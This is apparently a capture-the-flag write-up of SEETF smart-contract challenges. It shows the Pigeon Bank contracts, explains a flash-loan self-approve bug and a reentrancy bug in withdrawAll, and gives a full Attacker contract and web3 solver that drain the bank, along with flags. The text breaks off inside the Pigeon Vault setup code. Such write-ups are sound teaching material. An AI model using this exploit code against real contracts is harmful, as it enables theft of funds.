pigeon_abi = [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"string","name":"code","type":"string"},{"internalType":"string","name":"name","type":"string"},{"internalType":"address","name":"pigeon","type":"address"},{"internalType":"uint256","name":"rank","type":"uint256"}],"name":"assignPigeon","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"code","type":"string"},{"internalType":"string","name":"name","type":"string"}],"name":"becomeAPigeon","outputs":[{"internalType":"bytes32","name":"codeName","type":"bytes32"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"exit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"codeName","type":"bytes32"},{"internalType":"uint256","name":"rank","type":"uint256"}],"name":"flyAway","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"codeName","type":"bytes32"},{"internalType":"uint256","name":"desiredRank","type":"uint256"},{"internalType":"string","name":"newCode","type":"string"},{"internalType":"string","name":"newName","type":"string"}],"name":"promotion","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"codeName","type":"bytes32"},{"internalType":"address","name":"person","type":"address"},{"internalType":"uint256","name":"data","type":"uint256"}],"name":"task","outputs":[],"stateMutability":"nonpayable","type":"function"}]
pigeon_contract = w3.eth.contract(address=pigeon_address, abi=pigeon_abi)
pigeon_owner = w3.to_checksum_address(w3.eth.get_storage_at(pigeon_address, 0)[12:].hex())
info(f'pigeon_owner: {pigeon_owner}, balance: {w3.eth.get_balance(pigeon_owner)}')

# Compile temp storage contract, initialize it with 4 ether
compiled_src = compile_files(['TempStorage.sol'], output_values=['abi', 'bin'])
compiled_temp_storage = compiled_src['TempStorage.sol:TempStorage']
tx_hash = w3.eth.send_transaction({
	"from": player.address,
	"value": w3.to_wei(4, 'ether'),
	"data": compiled_temp_storage['bin'],
})
info(f'tx hash: {tx_hash.hex()}')
sleep(15)

rcpt = w3.eth.get_transaction_receipt(tx_hash)
temp_storage_address = w3.to_checksum_address(rcpt['contractAddress'])
info(f'temp_storage_address: {temp_storage_address}')
temp_storage_contract = w3.eth.contract(address=temp_storage_address, abi=compiled_temp_storage['abi'])

# Call become a pigeon
transaction = pigeon_contract.functions.becomeAPigeon("Numbu", "h5").build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)

# Call task twice
for idx in range(2):
    info(f'Execute task[{idx}]')
    code_name = w3.solidity_keccak(['string', 'string'], ['Numbu', 'h5'])
    transaction = pigeon_contract.functions.task(code_name, temp_storage_address, w3.to_wei(4, 'ether')).build_transaction({
        'from': player.address,
        'nonce': w3.eth.get_transaction_count(player.address),
        'gasPrice': w3.eth.gas_price,
        'value': 0,
        'chainId': w3.eth.chain_id
    })
    signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
    tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
    info(f'tx hash: {tx_hash.hex()}')
    sleep(15)

# Call flyaway
info(f'Call flyAway')
code_name = w3.solidity_keccak(['string', 'string'], ['Numbu', 'h5'])
transaction = pigeon_contract.functions.flyAway(code_name, 0).build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)
info(f'Player address: {player.address}, balance: {w3.eth.get_balance(player.address)}')

# Call promotion
info(f'Call promotion')
code_name = w3.solidity_keccak(['string', 'string'], ['Numbu', 'h5'])
transaction = pigeon_contract.functions.promotion(code_name, 1, 'Numbu', 'h3').build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)

# Transfer 2 ether
info(f'Transfer 2 ether to temp_storage')
transaction = {
    'from': player.address,
    'to': temp_storage_address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gas': 100000,
    'gasPrice': w3.eth.gas_price,
    'value': w3.to_wei(2, 'ether'),
    'chainId': w3.eth.chain_id
}
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)
info(f'temp_storage_address: {temp_storage_address}, balance: {w3.eth.get_balance(temp_storage_address)}')

# Call task twice
for idx in range(2):
    info(f'Execute task[{idx}]')
    code_name = w3.solidity_keccak(['string', 'string'], ['Numbu', 'h3'])
    transaction = pigeon_contract.functions.task(code_name, temp_storage_address, w3.to_wei(6, 'ether')).build_transaction({
        'from': player.address,
        'nonce': w3.eth.get_transaction_count(player.address),
        'gasPrice': w3.eth.gas_price,
        'value': 0,
        'chainId': w3.eth.chain_id
    })
    signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
    tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
    info(f'tx hash: {tx_hash.hex()}')
    sleep(15)

# Call flyaway
info(f'Call flyAway')
code_name = w3.solidity_keccak(['string', 'string'], ['Numbu', 'h3'])
transaction = pigeon_contract.functions.flyAway(code_name, 1).build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)
info(f'Player address: {player.address}, balance: {w3.eth.get_balance(player.address)}')

# Call promotion
info(f'Call promotion')
code_name = w3.solidity_keccak(['string', 'string'], ['Numbu', 'h3'])
transaction = pigeon_contract.functions.promotion(code_name, 2, 'Numbu', 'h1').build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)

# Call flyaway
info(f'Call flyAway')
code_name = w3.solidity_keccak(['string', 'string'], ['Numbu', 'h1'])
transaction = pigeon_contract.functions.flyAway(code_name, 2).build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)
info(f'Player address: {player.address}, balance: {w3.eth.get_balance(player.address)}')

# Call getback
info(f'Call getBack')
transaction = temp_storage_contract.functions.getBack().build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)

info(f'Final state')
info(f'Player address: {player.address}, balance: {w3.eth.get_balance(player.address)}')
info(f'pigeon_address: {pigeon_address}, balance: {w3.eth.get_balance(pigeon_address)}')

out = get_flag(uuid)
info(out.decode())

Flag: SEE{c00_c00_5py_squ4d_1n_act10n_9fbd82843dced19ebb7ee530b540bf93}

Pigeon Bank

Description
The new era is coming. Pigeons are invading and in order to survive, the SEE Team created PigeonBank so that people can get extremely high interest rate. Hold PETH to get high interest. PETH is strictly controlled by the SEE team to prevent manipulation and corruption.

Initial Analysis

In this challenge, we were given three solidity files. Let’s check it.

PETH.sol

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";

contract PETH is Ownable {
    using Address for address;
    using Address for address payable;

    string public constant name = "Pigeon ETH";
    string public constant symbol = "PETH";
    uint8 public constant decimals = 18;

    event Approval(address indexed src, address indexed dst, uint256 amt);
    event Transfer(address indexed src, address indexed dst, uint256 amt);
    event Deposit(address indexed dst, uint256 amt);
    event Withdrawal(address indexed src, uint256 amt);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    receive() external payable {
        revert("PETH: Do not send ETH directly");
    }

    function deposit(address _userAddress) public payable onlyOwner {
        _mint(_userAddress, msg.value);
        emit Deposit(_userAddress, msg.value);
        // return msg.value;
    }

    function withdraw(address _userAddress, uint256 _wad) public onlyOwner {
        payable(_userAddress).sendValue(_wad);
        _burn(_userAddress, _wad);
        // require(success, "SEETH: withdraw failed");
        emit Withdrawal(_userAddress, _wad);
    }

    function withdrawAll(address _userAddress) public onlyOwner {
        payable(_userAddress).sendValue(balanceOf[_userAddress]);
        _burnAll(_userAddress);
        // require(success, "SEETH: withdraw failed");
        emit Withdrawal(_userAddress, balanceOf[_userAddress]);
    }

    function totalSupply() public view returns (uint256) {
        return address(this).balance;
    }

    function approve(address guy, uint256 wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function transfer(address dst, uint256 wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address src, address dst, uint256 wad) public returns (bool) {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        emit Transfer(src, dst, wad);

        return true;
    }

    function flashLoan(address _userAddress, uint256 _wad, bytes calldata data) public onlyOwner {
        require(_wad <= address(this).balance, "PETH: wad exceeds balance");
        require(Address.isContract(_userAddress), "PETH: Borrower must be a contract");

        uint256 userBalanceBefore = address(this).balance;

        // @dev Send Ether to borrower (Borrower must implement receive() function)
        // (bool success, bytes memory returndata) = target.call{value: value}(data);
        Address.functionCallWithValue(_userAddress, data, _wad);

        uint256 userBalanceAfter = address(this).balance;

        require(userBalanceAfter >= userBalanceBefore, "PETH: You did not return my Ether!");

        // @dev if user gave me more Ether, refund it
        if (userBalanceAfter > userBalanceBefore) {
            uint256 refund = userBalanceAfter - userBalanceBefore;
            payable(_userAddress).sendValue(refund);
        }
    }

    // ========== INTERNAL FUNCTION ==========

    function _mint(address dst, uint256 wad) internal {
        balanceOf[dst] += wad;
    }

    function _burn(address src, uint256 wad) internal {
        require(balanceOf[src] >= wad);
        balanceOf[src] -= wad;
    }

    function _burnAll(address _userAddress) internal {
        _burn(_userAddress, balanceOf[_userAddress]);
    }
}

This contract is trying to implement a coin. Skimming through it, one thing that is interesting is that it has flashLoan feature. Another thing is that some functions can only be called by the owner of the contract.

PigeonBank.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

import "./PETH.sol";

// Deposit Ether to PigeonBank to get PETH
// @TODO: Implement interest rate feature so that users can get interest by depositing Ether
contract PigeonBank is ReentrancyGuard {
    using Address for address payable;
    using Address for address;

    PETH public immutable peth; // @dev - Created by the SEE team. Pigeon Bank is created to allow citizens to deposit Ether and get SEETH and earn interest to survive the economic crisis.
    address private _owner;

    constructor() {
        peth = new PETH();
        _owner = msg.sender;
    }

    function deposit() public payable nonReentrant {
        peth.deposit{value: msg.value}(msg.sender);
    }

    function withdraw(uint256 wad) public nonReentrant {
        peth.withdraw(msg.sender, wad);
    }

    function withdrawAll() public nonReentrant {
        peth.withdrawAll(msg.sender);
    }

    function flashLoan(address receiver, bytes calldata data, uint256 wad) public nonReentrant {
        peth.flashLoan(receiver, wad, data);
    }

    receive() external payable {}
}

This contract is the bank, which is actually the owner of the PETH contract (because this contract is the one who deploy the PETH contract in constructor). One thing that is interesting is that all of the functions are set to nonReentrant, which used to prevent reentrancy attack.

Setup.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "./PETH.sol";
import "./PigeonBank.sol";

contract Setup {
    PETH public immutable peth;
    PigeonBank public immutable pigeonBank;

    // @dev - The SEE Team provided 2500 ETH to PigeonBank to provide liquidity so that the bank stays solvent.
    constructor() payable {
        require(msg.value == 2500 ether, "Setup: msg.value must be 2500 ether");
        pigeonBank = new PigeonBank();
        peth = pigeonBank.peth();

        // @dev - Deposit 2500 ETH to PigeonBank
        pigeonBank.deposit{value: msg.value}();

        assert(address(pigeonBank).balance == 0 ether);
        assert(peth.balanceOf(address(this)) == 2500 ether);
    }

    function isSolved() external view returns (bool) {
        return (peth.totalSupply() == 0) && (address(msg.sender).balance >= 2500 ether);
    }
}

This is the setup contract, and to solve the challenge, we need to drain the PETH contract and make our msg.sender balance to be >= 2500 ether.

Solution

First, let’s check the flashLoan feature.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
    function flashLoan(address _userAddress, uint256 _wad, bytes calldata data) public onlyOwner {
        require(_wad <= address(this).balance, "PETH: wad exceeds balance");
        require(Address.isContract(_userAddress), "PETH: Borrower must be a contract");

        uint256 userBalanceBefore = address(this).balance;

        // @dev Send Ether to borrower (Borrower must implement receive() function)
        // (bool success, bytes memory returndata) = target.call{value: value}(data);
        Address.functionCallWithValue(_userAddress, data, _wad);

        uint256 userBalanceAfter = address(this).balance;

        require(userBalanceAfter >= userBalanceBefore, "PETH: You did not return my Ether!");

        // @dev if user gave me more Ether, refund it
        if (userBalanceAfter > userBalanceBefore) {
            uint256 refund = userBalanceAfter - userBalanceBefore;
            payable(_userAddress).sendValue(refund);
        }
    }    

I noticed that we can actually make the PETH contract as the _userAddress param, and then set the _wad value to 0. By doing this, we can actually make the PETH contract to call one of their own function (via the Address.functionCallWithValue). Looking for the functions that doesn’t have onlyOwner modifier, there is one interesting function, which is approve.

1
2
3
4
5
    function approve(address guy, uint256 wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

The idea is that if we call flashLoan and set the _userAddress to PETH contract itself, and then set the calldata to call approve(), we can actually force the PETH to set any allowance to our desired address, so that the desired address can spend the PETH money.

However, notice that PETH doesn’t have any money actually. So, we need to look for another bug.

The other bug is actually a reentrancy bug inside the withdrawAll method.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    function withdrawAll(address _userAddress) public onlyOwner {
        payable(_userAddress).sendValue(balanceOf[_userAddress]);
        _burnAll(_userAddress);
        // require(success, "SEETH: withdraw failed");
        emit Withdrawal(_userAddress, balanceOf[_userAddress]);
    }

    function _burnAll(address _userAddress) internal {
        _burn(_userAddress, balanceOf[_userAddress]);
    }

There’s a problem with this method. It sends the ether to the user before burning the PETH coin. This is vulnerable to reentrancy attack. The scenario is like below:

  • Contract call deposit x ether.
  • Contract call withdrawAll.
  • The PETH contract send the ether first.
  • The contract has receive() method, which will be triggered during receiving value that was being sent by PETH.
  • The contract call transfer() to send the just received value to PETH.
  • Now, after this call, the state will be:
    • PETH coin’s balance is increase by x ether.
    • Yet, the contract still received x ether.

Repeating the above scenario, at some point, the PETH coin’s balance will become 2500 ether. And because of the flashLoan that we call before already permit us to spend the PETH coin’s balance, we can simply transfer all of PETH coin’s balance to us and withdraw it to drain the bank.

Full Script

Attacker Contract

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "./PETH.sol";
import "./PigeonBank.sol";

contract Attacker {
    PETH peth;
    PigeonBank bank;
    bool stopAttack;

    constructor(address _peth, address _bank) payable {
        peth = PETH(payable(_peth));
        bank = PigeonBank(payable(_bank));
        stopAttack = false;
    }

    function setAllowance() public {
        bank.flashLoan(address(peth), abi.encodeCall(
            peth.approve,
            (address(this), type(uint256).max)
        ), 0);
    }

    function attack() public payable {
        for (uint i = 0; i < 278; i++) {
            bank.deposit{value: 9 ether}();
            bank.withdrawAll();
        }

        stopAttack = true;
        peth.transferFrom(address(peth), address(this), 2500 ether);
        bank.withdrawAll();

        (bool success, ) = msg.sender.call{value: 2500 ether}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    receive() external payable {
        if (!stopAttack) {
            peth.transfer(address(peth), msg.value);
        }
    }
}

Solver

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from web3 import Web3
from pwn import *
from solcx import compile_files

url = 'win.the.seetf.sg'
port = 8550

def launch_instance():
    print('Launch instance...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'1')
    r.recvuntil(b'uuid:           ')
    uuid = r.recvline().strip()
    r.recvuntil(b'rpc endpoint:   ')
    rpc_endpoint = r.recvline().strip()
    r.recvuntil(b'private key:    ')
    private_key = r.recvline().strip()
    r.recvuntil(b'setup contract: ')
    setup_address = r.recvline().strip()
    r.close()
    print(f'uuid          = {uuid}')
    print(f'rpc_endpoint  = \'{rpc_endpoint.decode()}\'')
    print(f'private_key   = \'{private_key.decode()}\'')
    print(f'setup_address = \'{setup_address.decode()}\'')
    return uuid, rpc_endpoint.decode(), private_key.decode(), setup_address.decode()

def kill_instance(uuid):
    print('Kill instance...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'2')
    r.sendlineafter(b'uuid please: ', uuid)
    r.close()

def get_flag(uuid):
    print('Get Flag...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'3')
    r.sendlineafter(b'uuid please: ', uuid)
    flag = r.readrepeat(1)
    r.close()
    return flag

# Launch instance
uuid = b''

# uuid          = b'0ffdc839-b96f-4208-b6e7-e193af621b2a'
# rpc_endpoint  = 'http://win.the.seetf.sg:8549/0ffdc839-b96f-4208-b6e7-e193af621b2a'
# private_key   = '0xcf8daf0d42de5d51e8b32f842810a236f65024a85d02ad2188971a740b9c0c03'
# setup_address = '0x8b75Fad9f3bF4384c545FF4D00789b4b804bFfe8'

if uuid == b'':
    uuid, rpc_endpoint, private_key, setup_address = launch_instance()

# Connect to the network
w3 = Web3(Web3.HTTPProvider(rpc_endpoint))
assert w3.is_connected()

player = w3.eth.account.from_key(private_key)
info(f'Player address: {player.address}, balance: {w3.eth.get_balance(player.address)}')

# Get peth address
setup_abi = [{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"peth","outputs":[{"internalType":"contract PETH","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pigeonBank","outputs":[{"internalType":"contract PigeonBank","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
setup_contract = w3.eth.contract(address=setup_address, abi=setup_abi)
selector = w3.keccak(text='peth()')[:4]
output = w3.eth.call({
    'to': setup_address,
    'data': selector.hex()
})
peth_address = w3.to_checksum_address(output[12:].hex())
info(f'{peth_address = }, balance: {w3.eth.get_balance(peth_address)}')

# Get pigeonBank address
selector = w3.keccak(text='pigeonBank()')[:4]
output = w3.eth.call({
    'to': setup_address,
    'data': selector.hex()
})
pigeon_bank_address = w3.to_checksum_address(output[12:].hex())
info(f'{pigeon_bank_address = }, balance: {w3.eth.get_balance(pigeon_bank_address)}')

# Deploy attacker contract
compiled_src = compile_files(['Attacker.sol'], output_values=['abi', 'bin'], import_remappings=['@openzeppelin/=../lib/openzeppelin-contracts/'])
compiled_attacker = compiled_src['Attacker.sol:Attacker']
attacker_contract = w3.eth.contract(abi=compiled_attacker['abi'], bytecode=compiled_attacker['bin'])
transaction = attacker_contract.constructor(peth_address, pigeon_bank_address).build_transaction({
	"from": player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
	"value": w3.to_wei(9.5, 'ether'),
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)
rcpt = w3.eth.get_transaction_receipt(tx_hash)
attacker_address = w3.to_checksum_address(rcpt['contractAddress'])
attacker_contract = w3.eth.contract(address=attacker_address, abi=compiled_attacker['abi'])
info(f'{attacker_address = }, balance: {w3.eth.get_balance(attacker_address)}')

# Call setAllowance
transaction = attacker_contract.functions.setAllowance().build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)

# Call attack
transaction = attacker_contract.functions.attack().build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)
info(f'player balance: {w3.eth.get_balance(player.address)}')

out = get_flag(uuid)
info(out.decode())

Flag: SEE{N0t_4n0th3r_r33ntr4ncY_4tt4ck_abb0acf50139ba1e468f363f96bc5a24}

Pigeon Vault

Description

rainbowpigeon has just received a massive payout from his secret business, and he now wants to create a secure vault to store his cryptocurrency assets. To achieve this, he developed PigeonVault, and being a smart guy, he made provisions for upgrading the contract in case he detects any vulnerability in the system.

Find out a way to steal his funds before he discovers any flaws in his implementation.

Blockchain has a block time of 10: https://book.getfoundry.sh/reference/anvil/

Initial Analysis

In this challenge, we were given a lot of solidity files. After skimming through some of the code, I observed that the code is trying to follow the diamonds multi facets pattern. This link explained the concept pretty well. Let’s try to check some of the important file.

Setup.sol

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import {IDiamondCut} from "./interfaces/IDiamondCut.sol";
import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol";
import {IOwnershipFacet} from "./interfaces/IOwnershipFacet.sol";
import {IERC20} from "./interfaces/IERC20.sol";

import {DiamondCutFacet} from "./facets/DiamondCutFacet.sol";
import {OwnershipFacet} from "./facets/OwnershipFacet.sol";
import {DiamondLoupeFacet} from "./facets/DiamondLoupeFacet.sol";
import {FeatherCoinFacet} from "./facets/FTCFacet.sol";
import {DAOFacet} from "./facets/DAOFacet.sol";
import {PigeonVaultFacet} from "./facets/PigeonVaultFacet.sol";

import {PigeonDiamond} from "./PigeonDiamond.sol";
import {InitDiamond} from "./InitDiamond.sol";

contract Setup {
    DiamondCutFacet public diamondCutFacet;
    OwnershipFacet public ownershipFacet;
    DiamondLoupeFacet public diamondLoupeFacet;
    FeatherCoinFacet public ftcFacet;
    DAOFacet public daoFacet;
    PigeonVaultFacet public pigeonVaultFacet;

    PigeonDiamond public pigeonDiamond;
    InitDiamond public initDiamond;

    bool public claimed;

    constructor() payable {
        diamondCutFacet = new DiamondCutFacet();
        ownershipFacet = new OwnershipFacet();
        diamondLoupeFacet = new DiamondLoupeFacet();
        ftcFacet = new FeatherCoinFacet();
        daoFacet = new DAOFacet();
        pigeonVaultFacet = new PigeonVaultFacet();

        pigeonDiamond = new PigeonDiamond(address(this), address(diamondCutFacet));
        initDiamond = new InitDiamond();

        IDiamondCut.FacetCut[] memory diamondCut = new IDiamondCut.FacetCut[](5);

        // Setup DiamondLoupeFacet
        bytes4[] memory diamondLoupeSelectors = new bytes4[](5);
        diamondLoupeSelectors[0] = bytes4(hex"cdffacc6");
        diamondLoupeSelectors[1] = bytes4(hex"52ef6b2c");
        diamondLoupeSelectors[2] = bytes4(hex"adfca15e");
        diamondLoupeSelectors[3] = bytes4(hex"7a0ed627");
        diamondLoupeSelectors[4] = bytes4(hex"01ffc9a7");

        diamondCut[0] = IDiamondCut.FacetCut({
            facetAddress: address(diamondLoupeFacet),
            action: IDiamondCut.FacetCutAction.Add,
            functionSelectors: diamondLoupeSelectors
        });

        // Setup OwnershipFacet
        bytes4[] memory ownershipFacetSelectors = new bytes4[](2);
        ownershipFacetSelectors[0] = bytes4(hex"8da5cb5b");
        ownershipFacetSelectors[1] = bytes4(hex"f2fde38b");

        diamondCut[1] = IDiamondCut.FacetCut({
            facetAddress: address(ownershipFacet),
            action: IDiamondCut.FacetCutAction.Add,
            functionSelectors: ownershipFacetSelectors
        });

        // Setup FTCFacet
        bytes4[] memory ftcFacetSelectors = new bytes4[](15);
        ftcFacetSelectors[0] = bytes4(hex"dd62ed3e");
        ftcFacetSelectors[1] = bytes4(hex"095ea7b3");
        ftcFacetSelectors[2] = bytes4(hex"70a08231");
        ftcFacetSelectors[3] = bytes4(hex"313ce567");
        ftcFacetSelectors[4] = bytes4(hex"5c19a95c");
        ftcFacetSelectors[5] = bytes4(hex"34940fa8");
        ftcFacetSelectors[6] = bytes4(hex"b4b5ea57");
        ftcFacetSelectors[7] = bytes4(hex"42061268");
        ftcFacetSelectors[8] = bytes4(hex"782d6fe1");
        ftcFacetSelectors[9] = bytes4(hex"40c10f19");
        ftcFacetSelectors[10] = bytes4(hex"06fdde03");
        ftcFacetSelectors[11] = bytes4(hex"95d89b41");
        ftcFacetSelectors[12] = bytes4(hex"18160ddd");
        ftcFacetSelectors[13] = bytes4(hex"a9059cbb");
        ftcFacetSelectors[14] = bytes4(hex"23b872dd");

        diamondCut[2] = IDiamondCut.FacetCut({
            facetAddress: address(ftcFacet),
            action: IDiamondCut.FacetCutAction.Add,
            functionSelectors: ftcFacetSelectors
        });

        // Setup DAOFacet
        bytes4[] memory daoFacetSelectors = new bytes4[](4);
        daoFacetSelectors[0] = bytes4(hex"aad6756f");
        daoFacetSelectors[1] = bytes4(hex"0d61b519");
        daoFacetSelectors[2] = bytes4(hex"ece40cc1");
        daoFacetSelectors[3] = bytes4(hex"abdc14c5");

        diamondCut[3] = IDiamondCut.FacetCut({
            facetAddress: address(daoFacet),
            action: IDiamondCut.FacetCutAction.Add,
            functionSelectors: daoFacetSelectors
        });

        // Setup PigeonVaultFacet
        bytes4[] memory pigeonVaultFacetSelectors = new bytes4[](3);
        pigeonVaultFacetSelectors[0] = bytes4(hex"8b7afe2e");
        pigeonVaultFacetSelectors[1] = bytes4(hex"db2e21bc");
